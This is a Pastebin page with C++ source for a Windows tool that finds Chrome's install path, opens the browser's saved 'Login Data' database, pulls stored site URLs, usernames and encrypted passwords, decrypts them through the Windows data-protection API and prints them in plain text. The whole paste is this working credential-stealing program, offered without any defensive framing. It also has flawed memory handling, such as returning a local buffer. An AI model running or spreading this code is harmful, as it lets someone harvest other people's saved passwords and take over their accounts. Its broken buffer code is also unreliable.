Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <iostream>
- #include <shlobj.h>
- #include <wincrypt.h>
- #include <stdio.h>
- #include "sqlite3.h"
- #pragma comment(lib,"sqlite3")
- #pragma comment(lib,"crypt32")
- using namespace std;
- char * readRegistryValue(){
- LPCSTR value = "Path";
- HKEY hkey = NULL;
- char * sk = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe";
- if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,sk,0,KEY_READ,&hkey) != ERROR_SUCCESS)
- {
- return NULL;
- }
- char path[MAX_PATH] = {0};
- DWORD dw = 260;
- RegQueryValueEx(hkey,value,0,0,(BYTE *)path,&dw);
- RegCloseKey(hkey);
- char *ret = new char[strlen(path)+1];
- strcpy(ret,path);
- return ret;
- }
- char *Crack(BYTE *pass){
- DATA_BLOB in;
- DATA_BLOB out;
- BYTE trick[1024];
- memcpy(trick,pass,1024);
- int size = sizeof(trick) / sizeof(trick[0]);
- in.pbData = pass;
- in.cbData = size+1;
- char str[1024] = "";
- if (CryptUnprotectData(&in,NULL,NULL,NULL,NULL,0,&out)){
- for(int i = 0; i<out.cbData; i++)
- str[i] = out.pbData[i];
- str[out.cbData]='\0';
- return str;
- }
- else
- return NULL;
- }
- bool getPath(char *ret,int id){
- memset(ret,0,sizeof(ret));
- if(SUCCEEDED(SHGetFolderPath(NULL,id | CSIDL_FLAG_CREATE,NULL,0,ret)))
- return true;
- return false;
- }
- int main(){
- char *installPath = readRegistryValue();
- if (installPath != NULL){
- printf("Installed in: %s\n",installPath);
- sqlite3_stmt *stmt;
- sqlite3 *db;
- char databasePath[260];
- getPath(databasePath,0x1C);
- strcat(databasePath,"\\Google\\Chrome\\User Data\\Default\\Login Data");
- char *query = "SELECT origin_url, username_value, password_value FROM logins";
- if (sqlite3_open(databasePath, &db) == SQLITE_OK) {
- if (sqlite3_prepare_v2(db, query, -1, &stmt, 0) == SQLITE_OK) {
- while (sqlite3_step(stmt) == SQLITE_ROW) {
- char *url = (char *)sqlite3_column_text(stmt,0);
- char *username = (char *)sqlite3_column_text(stmt,1);
- BYTE *password = (BYTE *)sqlite3_column_text(stmt,2);
- printf("Url: %s\n",url);
- printf("Username: %s\n",username);
- char *decrypted = Crack(password);
- printf("Password: %s\n",decrypted);
- }
- }
- else{
- printf("Error preparing database!\n");
- }
- sqlite3_finalize(stmt);
- sqlite3_close(db);
- }
- else{
- printf("Error opening database!\n");
- }
- }
- else{
- printf("Google Chrome is not installed!\n");
- }
- delete[]installPath;
- cin.get();
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement